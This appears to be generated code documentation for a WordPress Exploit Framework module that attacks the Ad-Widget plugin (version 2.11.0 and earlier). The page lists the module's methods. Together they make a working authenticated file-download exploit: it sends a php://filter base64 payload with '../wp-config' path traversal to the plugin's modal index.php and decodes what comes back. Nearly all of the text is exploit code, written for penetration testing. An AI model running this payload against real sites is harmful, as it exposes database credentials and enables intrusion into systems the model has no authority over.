class Wpxf::Auxiliary::AdWidgetPhpFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 6 def initialize super update_info( name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download', author: [ 'rastating' # WPXF module ], references: [ ['WPVDB', '8789'] ], date: 'Apr 04 2017' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 21 def check check_plugin_version_from_readme('ad-widget', '2.12.0') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 29 def default_remote_file_path '../wp-config' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 51 def download_request_params { 'step' => "php://filter/convert.base64-encode/resource=#{remote_file}" } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 41 def downloader_url normalize_uri(wordpress_url_plugins, 'ad-widget', 'views', 'modal', 'index.php') end
file_extension()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 37 def file_extension '.php' end
requires_authentication()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 25 def requires_authentication true end
validate_content(res)
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload#validate_content
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 45 def validate_content(res) return false unless super(res) File.write(downloaded_filename, Base64.decode64(res)) true end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb, line 33 def working_directory 'wp-admin/' end